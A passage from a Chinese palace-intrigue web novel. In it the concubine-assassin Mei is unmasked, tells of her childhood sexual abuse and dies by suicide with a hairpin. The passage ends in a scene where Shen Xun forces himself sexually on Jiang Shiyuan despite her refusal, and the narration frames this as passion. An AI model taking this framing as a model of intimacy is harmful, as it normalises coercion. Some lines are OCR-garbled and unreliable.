惊:“这不是明贵妃宫中的嬷嬷?"胜者为王,败者为寇,嬷嬷自知被擒,生死已不可由自己做主,淬了一口:“要杀要剐,悉听尊便,我一应承担下所有的罪责。"姜时愿声音冷冷:“既然嬷嬷欲打开天窗说亮话,那我也不兜圈子了。说说吧,为什么要想要永安公主的性命?“你问为什么?” 嬷嬷笑意森然,咯咯发笑:“因为祁灵萱是大庆皇室的血脉,只要她身上留着狗皇帝的血脉,就必须死!"“你是暗河之人?”姜时愿问,“还有多少暗杀的贼子潜伏在皇城之中?"“你休想知道,我毕生效忠于暗河,纵使身死魂灭,亦不会向尔等低头。"嬷嬷放肆大笑,咧开苍白的嘴角,“这庆国江山,迟早改易。大逆不道,如此癫狂。“大胆!”李斯闻言大怒,正欲动手行刑,却被姜时愿抬手拦下,她的声音依然淡淡的,毫无波澜,“既然嬷嬷如此坦诚,那我再问一个问题,既然你杀心早起,为何会偏偏选择今晚动手?"嬷嬷倏然一瞬神色紧绷,嘴唇微颤,仅是一瞬,也被姜时愿极快地捕捉,她乘胜追击,逐个击破。“先不说今晚明贵妃胎滑,你若不在前侍奉,必定惹人起疑。再说,贵妃小产,宫中再遇事变,禁军全宫搜捕,你却甘愿承担身份暴露之风险,也要迫不及待地选择在今夜动手。“我想,若不是逼不得已,嬷嬷应当绝不会选择今晚动手吧。嬷嬷额间的一滴冷汗淌下,灰缕半白的鬓发四散开来。姜时愿:“我想是永安公主濒死前的这句话招来了她今晚的杀身之祸,你可想知永安公主意识丧失之前与我说的最后一句话是什么?"“什么?”嬷嬷忽地激动。“公主说在贵妃娘娘的身上看见了一株曼珠沙华。”姜时愿不急不慢说道“那又能说明什么?”嬷嬷故作镇定,面不改色地将心中的惊涛骇浪压下魅的左肩绣有曼珠沙华的秘闻仅有寥寥几人知晓,嬷料定姜时愿绝不可能追查到这条秘密的线索.“我虽不知道这条线索意味着什么但我方才想起来一件事。“什么事?"两个时辰前,内侍与辰妃暗通河渠,将尚官局常供的鲜花改供为从未听闻过的曼珠沙华。内传进献之时,祁灵营说此花前所未见,而明翅办跟着附和“本宫也是第一次见到此花”姜时愿道:“荒诞的是,曼珠沙华续于明贵好的身上,那便说明此花对她极为重要,而今夜内侍献上曼珠沙华之时,而明贵妃却说她从未见过此花。"而嬷嬷仍在力挽狂澜,“这又能说明什么?"“说明贵妃熟知曼珠沙华,亦会了解此花月满之夜而开的习性。会不会是她在暗里操控辰妃的妒忌心并借辰妃之手。"“除掉自己腹中的孩子,更是洗脱罪责。"姜时愿字字落定。“你知道你在说什么吗?"嬷嬷听得发笑,而陆不语和李斯亦是难以置信,毕竟虎毒还不食子,明贵妃为何要狠心除去自己腹中的孩子?“空口无凭,姜司使可有证据?还有,你口中的洗脱罪责又是什么意思?”李斯忙不迭地追问,心脏狂跳.“明贵妃,明嫩,就是四绝之一的魅。"姜时愿声音清婉,清瘦的身影被颓唐衰败的烛光惠挟着,然后她如傲雪寒梅,身姿挺立。嬷嬷更似大骇,继续激动:“怎么姜司使也开始狗咬狗了?你可知你方才的猜测有多可笑!迎着所有质疑的目光,姜时愿淡淡地开口解释:“让我们一切从头开始梳理,我曾一直在想,魅潜伏在皇城已久,万寿宴乃是魅等来的千载难逢的刺杀时机,但她为何要抽出一个饵料舞女替她动手“我一直百思不得其解,直到永安公主的一席话方才点醒了我那时祁灵萱无端猜测魅也是病了.如今,姜时愿想来竟有异曲同工之处,微微一笑,“因为万寿宴上的明贵妃身怀六甲,怕是无能动手吧。嬷嬷闻言一颤,又听姜时愿接着分析道:“再言,今夜明贵妃栽赃嫁祸之计当真高明。"W道品子0P6日久、该故意在藏书窗中留下关于粤街沙华的一若线,刻量引早层近以导终沙经技半开以的习性动手,她知路展究实通了自己宫中的内店,办知路展好在曼球少作中装了查,却爱作不知情,故量让内学名曼乐取于自亡寝殿中的妆奁上。” “然后呢?”陆不语难以置信。姜时愿垂眸,“等内侍退下之后,明贵妃应当是替换掉了方才拿进来的曼珠沙华,换成准备已久、内藏有烟毒的曼珠沙华。“贵妃为什么要这么做?”李斯仍然觉得姜时愿在天方夜谭,“总御和陆处应当知道,当我以蓝月身份潜入宫中后的第一件事便是搜查了整个后宫,然后却一无所获。"“如今想来是,应是明贵妃听闻风声,怕被搜查到对自己不利的原料,抓紧时间将剩余的原料炼制为烟毒藏在曼珠沙华,因此侥幸躲过搜查。姜时愿接着分析道:“我想今晚明贵妃的计策原是利用辰妃送来的曼珠沙华,放出烟毒,并将小产的罪名和所有脏水全部栽赃到辰妃的身上.!“烟毒再起,典狱自然会怀疑是魅又在动手,因此会轻而易举地嫌疑安置在辰妃的身上,怀疑辰妃就是魅“你在胡说!你当真是疯了!娘娘怀胎三月对腹中之子感情颇深,怎么可能会下此狠手?"嬷嬷苍白地辩解到。“我有证据。”姜时愿倏然举起嬷嬷的右手,右手五指指甲光滑整洁,唯有食指被外力撕裂脱下,留有血痂。“魅乃是百毒不侵之体,这也是明贵妃为何能在两次烟毒之中都能''幸存’下来的原因,同时,也成为了她露出的马脚。“什么意思.…”嬷嬷神色难辨,只言片语之间皆是畏声畏气的。“百毒不侵,所以意味着烟毒对明贵妃并不起作用,更不会害她胎滑。真正害她胎滑的是,曾经藏于你曾于右手指甲缝隙之间的粉末。"“难怪明嫩会在饮下那碗堕胎药之前几经犹豫,是因为早就与你计划好了今夜的一切,知晓你已经在那碗安胎药中下了效力极强的堕胎药。“也难怪,抓药、熬药、端药之间只经嬷嬷一人之手,因为你不敢被人发现。嬷滚面如土色,她恨不得现在就格死姜时愿灭口。她横冲贴近姜时愿的面前,奈何双手被束缚,只听得铁链沉闷的相撞之声,需耳欲聋,血肉被深深嵌进皮肉之中,鲜血滴淌在地上。她目眦欲裂,声嘶力竭:“我要杀了你,我要杀了你,姜时愿!你们姜家全部不得好死!"“早知道,我方才就算豁出去这条命也该杀了你.…说!你身后之人究竟是谁,究竟是谁一直在身后保护着你!"嬷嬷疯魔不已,咬牙切齿,情绪大控。雷声隐隐,姜时愿将此交给李斯,嬤嬷犹如滔天巨浪的愤怒几乎要隐没一切,尽管已经走出地牢,嬤嬷的声音仍然犹如鬼魅,不得驱散.铜镜之中的女子美艳动人,微微出神,手中的雕花象牙梳轻轻梳过墨发,簮梳尾底缀着的流苏摇曳,放出簌簌的声响,清脆到破碎月色凉凉,华冠如水,更添哀色,明嫩的目光始终看着妆奁上的紫锦盒,思绪沉沉,却不知该从何时开起想起.是她和阿循在暗河初遇之时,他发现自己身中蛊毒决意离开暗河时,还是她为了选择帮他解开毒蛊,决意留在暗河,而后甘愿被阁主安排被送入皇官时纤纤素手摸上雕刻繁复的花纹,明嫩泪水无声淌下这份来之不易的母蛊,是她以万寿宴刺杀和以死相逼为要求,才逼得阁主允她一次…明嫩被困在这四方之地太久,被迫强颜欢笑侍奉帝王,又在无数个凄冷孤寂的夜晚独自落泪,她早已遍体伤痕、绝望漠然.所有痛苦、狰狞、独孤,她一俱都能承受。因为明嫩知晓她的心爱之人也正如她一样备受煎熬,被人操控,就连最简单的生死亦不能由自己选择。明嫩想救他,遂不敢死,也不敢觉得苦。婉转温柔的声音之中,俱是相思不得相见的哀痛。“阿循我终于可以救你了哪怕牺牲我的一切,我都甘之如饸,只是求你让我再见一次哪怕就一次泪意酸腻,朦胧水雾涌上,她嘴唇紧抿,终是如往常一样数次微叹、数次摇头以及数不尽的无奈放下明嫩失魂地转过身,双眸潋滟,眼前之景亦变得绰约,她竟然惚得看见她朝思暮想的身影就在纱幔之后,长身玉立,可望而不可及虽知是泡沫幻影,她也却鬼使神差、一步一怔地向他走去,每临他一步,她越发就觉得这具行尸走肉的身体仍还有血脉流动隔着影绰轻薄的一帘纱慢,一切的不真实感开始愈发拨开迷雾她闻到那熟悉的白梅香,如晨露浸润,同从前一般清冽好闻“阿循,是你吗?”她的声音颤抖,似火烛,随时燃尽、熄灭。明嫩害怕是自己的幻影,手凝滞在他的眉眼之前,害怕触碰,怕又将满身欣喜落得一场空。微风轻摇,纱幔飘起,沈浔迎着月华而立,衣袂飘飘,身影清隽,眉目清疏声音就如同他眼中的疏冷一样寒凉,“臣,沈浔,见过明贵妃。寒风吹入阁中,明嫩喜极而泣,再也控制不住的泪意朦胧双眼,她扑进沈浔的怀中,提住他的衣袍,那缎衣锦服被她死死捍皱在她的掌心之中。明嫩说什么再也不会放手,她害怕阿循会再一次抛下她一走了之。她的泪水半数浸湿在凝在脸庞上的墨发之中,半数晕湿浔的衣袍沈浔的怀中的温度全是清冷和疏离,但明嫩任觉得是久违地温暖:“阿循,你听我说,我替你拿到了母蛊,你有救了…你不用再被阁主操控了“带我离开皇城好吗,我们从此隐居深山,不理世事”明嫩痴念看曾经许下的梦,曾经他们微小,被蛊操控,不能逃脱暗河的桎梏,所以无奈背道而驰。如今,他们在皇城相遇,这一次,他们总算可以与这玩弄世人的天意一站。明嫩纤白的手颤抖不止,欲摸上他的眉眼,却被沈浔扼住腕骨。明嫩望向他的眉眼,熟悉而又陌生,她有种说不清、道不明的感觉.感觉这种陌生的疏离并不是由于阿循失去记忆导致那是一种本能性的,男子对与女子亲密关系的抵触。明嫩已经不知该如何是好,只能任他握住,话中皆是涩甜交织:“对对对你忘了…血滴蛊发作,所以你不记得了….你忘了与我的过往.…“没关系,没关系我不会怪你的你会响起来的,想起我们的曾经”“沈浔是你如今的名字吗吗. 倏然,明嫩的心一沉.…. 她骤然想起那日祁灵营来她殿中,与她分享趣事。 祁灵萱说,她近日结识到了一位典狱的姜司使姜时愿也是这个水灵的美人,只不过他的夫君模样却差强人意.明嫩还记得她笑问着那位面相丑陋的郎君叫什么名字 祁灵萱恹恹回答叫:典狱一处,沈浔。 沈浔思及此,明嫩浑身僵麻,步步后退,如坠冰窟。她咬紧贝齿,怯怯地发问:“你莫不是典狱的沈司使.…莫不是已经娶妻了.”取而代之的良久的沉寂,明嫩疼得心如刀绞,字字泣血,声泪并下:“你娶妻了,对不对?"明嫩如立在悬崖之间,距离坠落仅有一步之遥。她的语气不似发问,更像是恳求:“阿循,你告诉我,你不爱她,对不对"而沈浔望向明嫩的眼中了无动容,将一切的答案无声地碾碎了给她看他的眼眸,点黑如墨,内敛深邃,却清晰地告诉明嫩,他对她毫无悲悯,毫无爱意,甚至如今淡漠的一丝情愫也没有.他毫无情动,待她宛如陌生人。明嫩苦笑,亦是从此刻明白,她苦苦久等七年的“阿循’回不来了如今站在她面前的,是姜时愿的夫君,沈浔。叹气,轻咽,抽噎,最后变为再不可压抑、不可扼制地大哭她终于支撑不住,软在地上。“不该是这样的"”沈浔单跪下来,却不是怜悯同情。他嗓音沙哑,话音亦有些微颤:“你唤我阿循,你口中的xun’是哪个字?”横竖撇捺,明嫩在沈浔的掌心中,轻轻落在一字。循。明嫩颤抖着,沈浔亦跟着战栗。“我们不该是这样的,你不是该是姜时愿的阿浔“你是我的阿循”, 102、102 ''大人,你们这是干什么,此乃坤宁宫,乃是陛下爱妃、明贵妃的宫殿,你们岂可擅闯! 坤宁官的官女及内侍脸色骤变,眼见无数金丝胄甲大马金刀地闯入坤宁宫,颦革上寒刃金石相撞,发出令人胆颤的凄寒之声。 区区肉,体难敌刀光,坤宁宫众人被宛如铁墙的禁军压得节节败退。 “典狱办案,任何人不得阻拦。”话落,禁军朝两侧退避而开,一位娉婷的绿影出现在众人面前,她高举蛇纹银牌,清冷如霜的声音,传遍整个寂寥的坤宁官。姜时愿望着匾额上金漆略退的坤宁宫。暮色几合,更衬得此地为笼,囚身又囚心。她深知四绝的实力绝不逊色,怕是难逃苦战,下令让禁军先行疏散坤宁官上下所有人,并吩咐道:“围住整个坤宁官,小心应敌。禁军手持佩刀,盯着殿门,揶揄着步子,小心围剿而上。 倏然,殿门大敞,寒风,呼啸宛如利刃而出,强劲的风力竟害得众人人仰马翻,陆不语连忙挡在姜时愿面前念叨此风过于诡异。 叶落潇潇,寒风欲啸,吹得姜时愿衣裙漂浮不定,宛如大袍梨花飞雪几朵,簌簌而落。 与此同时,随风传来一道声音。“我不愿再动杀念,徒增罪孽,我相信姜司使也是如此。“作为条件交换,我想见姜司使一面,唯独仅见你一人,陆不语闻言,立马看向姜时愿,“不可,太危险了,暗河之人最是阴险,你断不可信。姜时愿明白陆不语的担忧,可她实在不愿再看到血骸遍布、生灵涂炭之景。还有,方才明嫩的声音如泣如诉,同为女子,她能感觉明的声音中带着难以言喻的伤痛姜时愿心也跟着微微颤着:“我不知为何,总觉得她不会伤害我…."“直觉?”陆不语最不信的就是直觉,“不成,你若出事的话,我该如何和沈浔交代?”“我相信她,她若真的有杀心,方才我们所有人迈入坤宁宫一刻,怕早就身首异处了。再言之,以四绝的实力,一人敌百,也不在话下,若真的刀剑相向,我们也必死无疑。“而且,我算与她有些交情,也有些话,想与她单独聊聊。姜时愿分析着,字字铿锵,并安抚着陆不语:“让我去吧。陆不语垂首,默言,片刻之后,退后让开,“我就守在殿外,你若察觉不对,立马唤我,我就是拼了这条命,也会冲进去。" “好。" 姜时愿转身走入殿内,推门而入之时,她便觉得寒意渗人,甚至比风雪还要刺骨,是最令人心颤的幽禁之冷。 又冷,又静。 她的脚步声清晰可见。 殿内很深,并未点灯,但青烟寥寥。 朦胧白雾之后,是明嫩半依在贵妃榻上,乌发倾斜而下,似有风动。半缕清辉月光酒落在她清丽的脸上,映亮出她眼角未干的泪痕. 她手持画卷指尖轻拂画中的男子,目光温柔而又破碎。 哪怕姜时愿已经临近她的面前,明嫩也依然盯着画中人瞧得出神。 分明是她要见他,而如今余光半寸都未觑向姜时愿。 “你.”姜时愿稍许犹豫,轻轻问出口,“你怎么了?" 身为女子的感觉告诉她,眼前的明嫩神色哀伤,空洞得仿佛只有一具躯体. 明嫩软睫微垂:“我有一事,并不明白,姜司使可以为我解答吗?" “什么 “故事很长,姜时愿你愿意耐心听听我的故事吗?我成为魅的故事,以及我心爱之人…” “你心爱之人是谁,是你画中的男子吗?”姜时愿看着她画卷之上男子依然没有描摹五官。 明嫩笑容苦涩,定定地看着她,眼神中充满令人心酸的艳羡,“是也不是,他已经不是我要等的人了.” “听听我的故事吧,姜司使。”她话中哽咽。 明嫩白小便成了一副绝美的皮相,可惜皮相之美,只会给无力自保的她带来困难的开始, 明嫩自小就被卖入风月之地,被无数男子在榻上玩弄。烟花之地的规矩,接一客,换一个充饥的馍,这便是生存。 为了活着,她甘愿成为最下作之人,可惜有一次,一位客人爽了,拽着她的辫子,边尽兴边骂她是婊子。骂她还不过瘾,还骂她早死的娘….明滚烫的汩滴滴落下,后来她气急败坏,咬了客人。 因为咬了客人,老鸨的招牌保不下去,又含恨将她转卖到狩猎场。 “狩猎场,就是天外天吗?”姜时愿问道。明嫩含着泪意,点点头:“姜司使,觉得那个地方如何?""人间地狱,血腥,残忍。“是吗我倒觉得十分温暖,在那里的每个夜晚都是温暖的。明嫩被卖到狩猎场,讥讽的是,这里关着无数个与她同命相连之人,但却因为弱肉强食的生存法则,这里所有人皆会的便是欺辱弱小。强者无惧,弱者成为任人踩踏的基石。狩猎场的日子苦闷、压抑,渺小的她自然而然成为了所有人取乐的目标。那些孩童学着那些客人,羞辱她,一缕一缕撕开她的衣衫,割开她美丽的肌肤,将她的泪水、恐俱当做兴奋的燃料明嫩毫无尊严、体面,她不知持续了多久,被那些可恶的可怜人一同欺辱了多久。直到,他们都死在一位青年暴戾的双拳下。明嫩还未从惊魂从抽离过来,她怔证看着青年,面容清朗,可眼神却别样的冷。青年冷眼一觑,面不改色地褪去外衫,随之,一件褴褛的衣衫飘飘然盖在她的身上,转身欲离开。这是久违的温暖,明嫩犹豫片刻,鼓起勇气,抓住他的手,温声询问他的名字。结果,青年告诉她,他罪奴出身,没有名字。从此刻,明嫩意识到,她和青年是一类人,都是无家可归之人。“他就这么出现了,他救了我,给披上大氅也是这里唯——个保全我尊严的男子“起初,他总是一言不发,更不愿意理我.但相同的底色,相同的境遇,总是会让两个凄惨孤零之人愈走愈近,直至互相相依,互相取暖。“此后每一个夜晚,他依着灰墙而歇,而我则枕在他的膝上安稳入睡.….” 明嫩回忆着,笑容愈发清透、纯净。 看得姜时愿心生不忍,她想,既然如此美好,今夜的明又为何伤怀? “后来我们一起被选去了暗河,剩下的日子里,他的锋芒尽露,被阁主以绝字培养。" “我不愿与他相隔甚远,所以纵使我不喜欢练武亦不喜欢杀人.….可是为了能陪在他的身边,我什么都可以做 明嫩双眸殷红地看着姜时愿,声泪俱下,“你明白吗,这是仅仅属于我和他回忆。 “只有我和他我们相依而伴整整七年!七年!"暗河的时光,明嫩如今回想起来,亦是她最快乐的日子,却也是此生痛苦的开始。他被阁主赐了名,从此他有了名字,循。明嫩也开始唤他新的名字,阿循。 “七年的时光,我与他日夜皆在一起,一同习武练剑。若他外出执行暗杀,我便会在梅树等他一夜,若他受伤晚归,我会替他上药。我清楚他身上所有的疮痍,清楚每道血痕因何而来,又是谁人所害.! 明嫩如泣如诉,她始终吝啬向姜时愿点明他的名字,因为阿循仅是她一个人,是姜时愿所夺走走不了的。 那些夜晚,如今想来依旧甜蜜。 她总觉得她和阿循是不可分割的两个人,她们太像了。像得仿佛是铜镜的正反两面,对方身上的每一处碎裂他们皆心知肚明。明嫩不求阿循爱她,但求他永远陪在自己身边,所以她也曾问过阿循,问他会不会对别的女子动心.阿循的语气凉凉,甚至是淡漠,说他不懂何为爱,更不觉得自己会爱。明嫩教他爱是欲.望,是肌肤相亲的渴望,她上眼故意靠近阿循,去嗅他临近唇齿的淡香,而阿循不为所动.或许,她运气不好,离爱始终差一步。大I经至伯号在价位户防C号外元国主方品G明嫩想,正如阿循所说,他只是不会爱并不是不爱她。明嫩也总是会问阿循,问他不嫌弃她脏吗.,阿循总是会冷冷自嘲,他也算不得干净。而阿循说她们是一类人,都是深陷泥泞,神佛难救的罪人。明嫩被他逗笑了,神佛难救啊…她也从来不需要神佛的拯救,只要阿循一直陪在她身边就好子 可惜,事与愿违,上天竟然狠心地连她最后一丝美好也要剥夺。 姜时愿亦有感受:“你们如此需要彼此,又是什么将你们分开了."” 明嫩轻轻摇头,泪珠滚下:“那晚他忽然发现阁主一直在利用他,天外天是假的,拯救也是假的,救他的,恩情也是假的…从他进入天外天开始,阁主就没打算放过任何人…“ “甚至,好似早有预感阁主不知何时早就给他的体内下了蛊” 也就是那个真相揭开的深夜,风雨交织,电光耀眼。 好似,阿循还查到了更多,所以他甚至打算与暗河为敌。阿循离开的那夜,特意来找明嫩,问她愿不愿和自己一起走,他朝他伸手,说哪怕是死,也会带她离开。明嫩眼含热泪,很想答应,但是她知道她不能,阿循体内的蛊毒未解她要留下来潜伏在暗河,留在阁主的身边,为他找到母蛊,救他性命. 明嫩和阿循夜访白无常,得知了血滴蛊的真相,阿循听闻从此以后似变了一个人,他想脱离桎梏,不愿再成为阁主的棋子 “所以你是为了救心爱之人,所以才留在暗河?"姜时愿声音怯怯的,隐有动容,她不知道眼前的女子遭受到了何种磨难和苦楚,才能强撑过每一个困在深官的夜晚.“是,我根本对杀人无感,更对这座皇城和狗皇帝的性命无感”“万寿宴上谋杀群臣百官和狗皇帝不是我的本意,只是.….我想救他,就不得已完成阁主最后的要求。”明嫩望着窗外,神色哀凉,几欲破碎。“我好不容易完成了可以救他了可以与他一起离开了她抹去眼角的泪珠,身心俱疲。“但是,如今他不想要和我的回忆了…."他不愿意再做明嫩的阿循他想做沈浔,因此,哪怕母蛊在他的手上,他也不想要了 明嫩无助地软在地上,声泪俱下,她的泣声微小。 可姜时愿也能感觉到她所有的悲伤。 姜时愿很难想象明嫩被困在皇城中的无数个日日夜夜,是如何靠着缥缈的思念活下来的 明嫩是如何忍受另一个不爱的男子吻她、亲她,又要故作强颜欢笑的 姜时愿亦懂了,她为何会如此狠心,打掉自己腹中的孩子。 如今的明嫩很难想象是杀伐狠厉的四绝,她如同一个行尸走肉的躯体,即堙灭。 姜时愿亦感心疼,轻轻地抱住明嫩,心疼她的身体每一次的战票,心疼她在深宫中熬过的每一个深夜,心疼她的所有遭遇 她看着明嫩左肩上的曼珠沙华妖冶无比。 然而,如此美艳的花,白无常却告诉了一个凄美的故事。 曼珠沙华,彼岸花。 叶落花开,花开叶落。 花与叶本是同根生,生生世世陪伴,却永远无法相守相爱。 就如同,明嫩与她口中的心上人。 去时愿感觉明嫩抵在自己的肩头发声大哭,问她: 他为什么不要找了为什么他不再是他了. “究竟是为什么啊我们明明有着一样的底色,清楚彼此身上所有的疮痍,互相舔舐伤口,为什么此刻他不再需要我了 “姜时愿,你告诉我啊你告诉我啊" 明嫩开始歇斯底里,推着,打着,咬着,恨不得把所有的火都宣泄在她的身上. 而出乎意料的是,姜时愿一次也没有推开过她,反而将她搂得更紧,温柔而坚定。 明嫩怔怔的,扬起满是泪痕的脸看向姜时愿,却发现她亦落了泪。 明嫩抹上姜时愿眼角的湿润,看着指尖的晶莹,终是无奈地笑了笑. 亦是白嘲、亦是苦涩亦有释怀 明嫩似有所感,阿循的选择。 她笑了笑,扬面看着姜时愿,取下挽在头发上的白玉簪子,对着自己的脖颈,望向姜时愿的神情交织着着破碎、怨念、羡慕、和释然 双眸中的眼泪欲坠未坠。 姜时愿大感不好,连忙去夺她手中的簪子, 而银簪狠厉,温热的血液沾满了她一手。 明嫩气息喘喘,遗留下最后一句。 “姜司使,我真的很羡慕你 “可我也终将成为不了你"” 103、103 磅礴雨势洗刷着凹凸不平的青石板路.残卷黑云 夜雨如注,石桥之下,青衣而立,执着紫檀锦盒,踏着满池积水而来。白无常揉了揉眼睛,心念着是谁这么没心眼,大雨夜不擒伞,他再度定晴一看, 人影竟约莫有些熟悉只是此刻的沈浔,少了周身凛冽,怅然若失地走在雨夜之中,任着衰雨浸湿浑身。 给人一种谁人皆可欺的错觉。白无常连忙迎了上去,亦步亦趋地跟在他的身旁,询问着结果:“魑大人,可是找到了魅了?"“结果如何?可有什么发现?" “您倒是给句准话啊"连串的问题抛出,皆无回应,看着沈浔神思游外,白无常心如火烧,正欲发作,又忽然看见沈浔手中捧着的紫檀锦盒,锦盒已经半开。一个巴掌大小,通体血红的母蛊躺在其中。白无常双眸圆瞪,顿时一扫阴霾,高兴地扬起声:“魑大人,这就是血滴蛊的母蛊,有了它,你就可以摆脱暗河的桎梏了,也再也不用担心毒蛊发作了。" “对了,这母蛊,您又是从何处得来的?" “对对对,这些都不重要了,有了母蛊,您那缺失的记忆都可以回来了!" “把母蛊给我,我这就为你解蛊。 白无常兴高采烈地跟在沈浔的身后,刚想随之跨入门槛,随之冷气拂过鬓角,两扇木门将他隔绝在雨夜之中。 “魑大人,魑大人,你这何意?"“别忘了,你体内的毒蛊未解,随时可能发作,赶快将母蛊给我啊.…这样你也能恢复记忆 白无常使劲拍着木门,拍得手心通红,却不得回应。 一门之隔后的沈浔似是被抽走了六魂七魄般,愁绪如丝,堵在胸臆. 魅唤他“阿循”,循循善诱的循。 沈浔麻木地噙起一缕笑意,望月长叹,不止一遍地问,为何偏偏这个“循’字? 天下以循字为名的人数不胜数,可他却没理由地心惊胆颤。 因为害怕一人的名字,魏国公,谢循。 思绪如潮水,控制不了水流的流势,更控制不住沈浔将自己和谢循联系在一切.….他没理由地害怕,害怕自己是谢循 沈浔心知肚明,如今执掌典狱的魏国公是假的,那真的谢循呢,又去了哪里?死了,失踪了,亦或者如他一样失去记忆了. 沈浔亦无法控制自己的思绪,暗河阁主安插魉和在江湖,此为宫外,亦为外。 而皇城之中,则为里。 江湖和宫内形成里应外合之势,方可左右朝局, 所以,暗河阁主又将魅送入皇城后宫。 既然后宫亦安插了细作,那前朝呢? 暗河阁主又怎会轻易放过前朝朝堂. 前朝中人,与魅一般位高权重者,会不会就是谢循?百官皆知,圣德二十七年,左相收下一名义子抚养在膝下,此子名为谢循,谢循满腹经纶,在朝堂之上大论策变,舌战群儒,初露锋芒后受圣人赏识,更因破科举舞弊之案有功,名声大噪,后官路亨通,执掌典狱,成为一人之下的魏国公。 而好巧不巧,十六岁之前的谢循竟无人知道他从何而来,经历为何? 百官也从未在谢循口中得到过答案. 事到如今。 沈浔已经摸索不出答案,或许他隐有预感,但始终不敢确认… 夜雨弥天,电光耀眼,坤宁官同样被笼罩在一片乌云密布之下。 明嫩的尸首被白布覆盖有着禁军侍卫拾出殿外,陆不语连忙跑入殿内,看着姜时愿仍然木跪在原地,神色呆滞,手心之上满是血色。 陆不语猜,这应当是明嫩的血。 “姜司使”陆不语在她身后唤她。轻落落的一句却似一根刺般扎入姜时愿的脊椎骨,她如梦初醒,缓过神来,怔怔站起身来。长时间的麻木,让姜时愿差点险些脚步趔趄,好在陆不语及时扶住了她,。“你为查明万寿宴一案尽心尽力,已经连续几夜未曾阖眼休息。今夜案情已经明朗,剩下的就交给我善后吧。”陆不语温声劝到, “我还可以" “滚被关押入天牢,严加看管,应当不会有事,可以日后再审,且明费妃已死,一切已经生埃落定。姜司使应当尽快休息,此案干系重大,现已告破,恐怕明日太子殿下以及整下听闻风声,都会亲自传唤你询问案情。 陆不语将她的失神看在眼中,语气微微生冷:“姜司使,以你现在的状态不适合继续跟进。” “还是早些休息,养精蓄锐,已备明日。” 陆不语在此事上难得瞻前顾后,并且如他兄长一般稳重。 万寿宴案告破,负责主审此案的姜司使必受传唤,是受奖惩还是借此获得圣人首肯重查姜淳冤案,皆在明日。 所以,姜司使必须得打足十二分的精神,以对明日。 如此失魂落魄的模样,确实不宜面圣。 姜时愿心知陆不语的好意,吩咐了几句,陆不语遂派人护送姜时愿回到典狱。 回到典狱,已是子丑交界之时,姜时愿执着灯笼,八角灯笼中的烛火摇摇曳曳、几近暗灭,如同她此刻的心绪一般。 她照亮自己的厢房,刚想推门又忽得停住脚步,转而走向西三房。 姜时愿的脚步声在这无风之夜清晰可见,以儒、礼刻在骨肉之中的教养,往常她都会叩响三声再推门而入,如今的她却雾到连拾手都没有力气。 于是,她毫无预兆推门而入,也因此看到了一个截然不同的沈浔。 月光如水,却洒不进窗棂之内。纱幔无风自飘而又落下,拂过佛龛上的玉面观音,玉面观音手打莲花,怜悯神伤,似望着帘后之人帘后玄衣,孤寂,哀伤,静得几乎与这浓黑的夜色融为一体。 他静坐在榻沿之上,衣衫全湿,低垂着眼眸。静谧,内敛,深邃地让人看不透。他如此警觉之人,却连厢房内已经闯入一人都浑然不知,更不知那人已经悄然靠近她。直至一股如覆上霜冻的草木根茎、梅香药香萦绕在鼻尖,沈浔才方如被泼了一盆水般清醒过来,他怔怔抬起眼眸,看着身前之人,声音轻喃 “阿愿…" 他的嗓音,砂砾,粗哑,仿佛在极力地压着哪些即将进发而出的情绪。 可终喉结轻滚,压下苦涩。 但姜时愿心细如发,察觉他话音中的破碎。 是犹如魅方才一般的心死。 她轻声问到:“阿浔,你怎么了?" 她原本不觉得沈浔如此孤傲内敛之人会将脆弱和无助毫无保留地展现给看。 可今夜的沈浔却鬼使神差地搂住腰,额首抵在她的酥腰。 “我在。”姜时愿答道。 “阿愿”沈浔的嗓音骤地低沉沙哑,甚至还有几声微不可查地抽噎:“阿愿永远不要丢下我,好不好?" 厢房几近无声,唯有沈浔苍白乞求的话语。 “我没有丢下你,阿浔。”姜时愿不明所以。 沈浔却搂她更紧,咬文嚼字:“我说的是永远,不是眼下。 他的拥抱充斥着占有、桎梏,不留余情的力道像是无数的锁链般层层束缚着姜时愿,竟不容她有丝毫逃离的念头 “永远不会丢下我吗,哪怕我是个不堪之人” 纤腰在沈浔的掌中,阿愿微微被勒得微微有些气绝,但仍稳下心神,回到:“你口中的不堪是指什么” 沈浔微颤着,心如火石上炙烤。 姜时愿只等来了无尽的沉默,她方想卸下他的掌心,离开他的怀抱稍许 而沈浔却似受到刺激般的,在姜时愿转身欲离开的一刻,骤然搂过她的腰,翻身而上,将她欺压在榻上,宽阔的身影遮蔽身下娉婷的女子。 沈浔毫不在意她的感受,不顾她的仓惶、不安,双膝分立在她的腰侧,双手亦撑在她的双肩之上 沈浔俯身靠近,身上清冽的白梅香也顺势欺压而上,浓烈的气味萦绕在她的周身,竟罕见地令姜时愿觉得自己如刀姐鱼肉,毫无自保之力,只能看着眼前的凶兽露出獠牙,步步逼近。 沈浔的吻追随着她的朱唇而去。而姜时愿却极其讨厌这种被人掌控的感觉,略占下风:“阿浔,我不喜欢这样她刚想避开,沈浔却察觉她的意图,两指捏住她的下颌,逼她正面自己,逼她接受自己的吻。雪白的下颌上落下红痕,不可压褪。沈浔害怕失去,他今夜似疯了,疯了地想让阿愿接受这个最接近本色的他。他本就是如此狠厉,霸道,危险。包括他此刻的吻一样,不顾姜时愿的拒绝和不愿。 阿愿不想让他吻她,沈浔便咬上她的唇,逼她吃痛,松开银牙,强,迫她接受自己的索取。他沉溺其中,也不知道含着痛意、疯狂而又炙热的吻持续了多久。等着阿愿慢慢的顺服,也等到他不再甘愿亲吻之时,沈浔方才松开桎梏,松开阿愿的系带,青衫缓缓褪下寒意扫上如雪的肌肤,阿愿再度不安,沈浔便梏住她,单手将她的双腕扼住,锁在她的绣花棉枕之上。他炙热的吻,代替她的呻.吟,落遍全身。 “沈浔!" 姜时愿极力阻止他的不冷静,气急了,甚至去咬他。奈何沈浔如今半疯半狠,竟然也只是皮笑肉不笑地扬了扬嘴角。五指深深地嵌入她的腰间,逼她妥协,逼她就范,逼她接受自己的全部沈浔将她视为唯一的救赎,他看着姜时愿,双眸殷红:“阿愿,你也知道的,我已经不可能再放你走了。黑暗中,喑哑的嗓音袭来。沈浔俯身在她的耳畔,含着浓郁的情意,说道。“阿愿,我想要你。 104、104 沈浔的额间的薄汗,淌过他英挺的眉眼,凝在下颌,在他再度吻向阿愿的一刻,汗珠顺势滚下,点缀在她薄如蝉翼的蝴蝶骨上。 滚烫、灼热。 